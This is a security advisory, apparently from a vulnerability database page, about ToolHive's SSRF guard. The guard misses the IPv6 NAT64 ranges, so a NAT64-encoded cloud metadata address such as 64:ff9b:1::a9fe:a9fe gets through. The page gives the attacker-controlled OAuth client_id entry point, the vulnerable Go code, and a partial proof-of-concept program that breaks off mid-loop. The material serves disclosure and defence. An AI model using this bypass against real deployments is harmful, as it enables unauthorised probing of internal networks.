Go · github.com/stacklok/toolhive
ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway
ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 (RFC 6052) and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as 64:ff9b:1::a9fe:a9fe — the NAT64 encoding of the link-local cloud metadata address 169.254.169.254 — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.
The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents client_id=https://<attacker-domain>/path, and CIMDStorageDecorator.GetClient fetches that URL through the same guard. The same IsPrivateIP table is also shared by the protectedDialerControl HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (pkg/skills/gitresolver), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is not affected — it enforces only the HTTPS scheme via ValidatingTransport and performs no IP-based check.)
pkg/networking/utilities.go builds a privateIPBlocks table and IsPrivateIP:
func init() {
for _, cidr := range []string{
"127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7",
"100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24",
"224.0.0.0/4", "ff00::/8",
} { /* ... append to privateIPBlocks ... */ }
}
func IsPrivateIP(ip net.IP) bool {
if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {
return true
}
for _, block := range privateIPBlocks {
if block.Contains(ip) {
return true
}
}
return false
}
The table contains no entry for 64:ff9b::/96 or 64:ff9b:1::/48. A NAT64 address is a normal global-unicast IPv6 address: net.IP.IsGlobalUnicast() returns true and it matches none of the listed blocks, so IsPrivateIP returns false.
The CIMD fetcher (pkg/oauthproto/cimd/fetch.go, newCIMDHTTPClient) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:
ips, err := net.DefaultResolver.LookupHost(ctx, host)
// ...
for _, ipStr := range ips {
ip := net.ParseIP(ipStr)
// ...
if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
}
dialer := &net.Dialer{Timeout: 5 * time.Second}
return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))
}
Because IsPrivateIP(64:ff9b:1::a9fe:a9fe) is false, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to 169.254.169.254.
Trust boundary: the CIMD URL originates from the client_id of an external OAuth client at authorize/token time (CIMDStorageDecorator.GetClient → IsClientIDMetadataDocumentURL(id) → cimd.FetchClientMetadataDocument(ctx, id)), so it is fully attacker-controlled. The protectedDialerControl HTTP clients used for registry, OIDC discovery, and token introspection (pkg/networking/http_client.go → AddressReferencesPrivateIp → IsPrivateIP) and the skills git-clone host check (pkg/skills/gitresolver/reference.go validateHost → IsPrivateIP) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.
Note that ::ffff:169.254.169.254 (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.
github.com/stacklok/toolhivepkg/networking/utilities.go (IsPrivateIP), reached via pkg/oauthproto/cimd/fetch.go (FetchClientMetadataDocument, CIMD authorization-server path — the attacker-controlled entry point), pkg/networking/http_client.go (protectedDialerControl, used by the registry / OIDC-discovery / token-introspection clients), and pkg/skills/gitresolver/reference.go (validateHost, skills git-clone host check). The webhook client (pkg/webhook) is not affected: it validates only the HTTPS scheme and performs no IsPrivateIP check.IsPrivateIP table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).The following self-contained Go program imports ToolHive v0.29.0 (commit 570ce07013b72208fcae339e9492f5867a1af994) and exercises the real guard code: the exported networking.IsPrivateIP, the exported oauthproto.IsClientIDMetadataDocumentURL predicate that routes a client_id into the CIMD fetch path, and the CIMD dialer gate copied verbatim from pkg/oauthproto/cimd/fetch.go. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.
go.mod:
module poc
go 1.26
require github.com/stacklok/toolhive v0.29.0
main.go:
package main
import (
"context"
"fmt"
"net"
"net/http"
"net/http/httptest"
"strings"
"time"
"github.com/stacklok/toolhive/pkg/networking"
"github.com/stacklok/toolhive/pkg/oauthproto"
"github.com/stacklok/toolhive/pkg/oauthproto/cimd"
)
var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)
const (
attackerHost = "cimd-attacker.example"
natLocalUse = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254
)
func main() {
// Part A: real classifier on NAT64 vs private addresses.
for _, s := range []string{
natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1",
"169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34",
} {
ip := net.ParseIP(s)
fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip))
}
// Control listener standing in for the IMDS reachable behind NAT64.
hit := make(chan string, 1)
imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hit <- r.Host + r.URL.Path
fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`)
}))
defer imds.Close()
ctrlAddr := strings.TrimPrefix(imds.URL, "http://")
clientID := "https://" + attackerHost + "/.well-known/oauth-client"
fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))
// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,
// with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.
transport := &http.Transport{DisableKeepAlives: true,
DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
host, _, _ := net.SplitHostPort(address)
var ips []string
if host == attackerHost {
ips = []string{natLocalUse} // DNS64 synthesis
} else {
ips, _ = net.DefaultResolver.LookupHost(ctx, host)
}
for _, ipStr :=
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.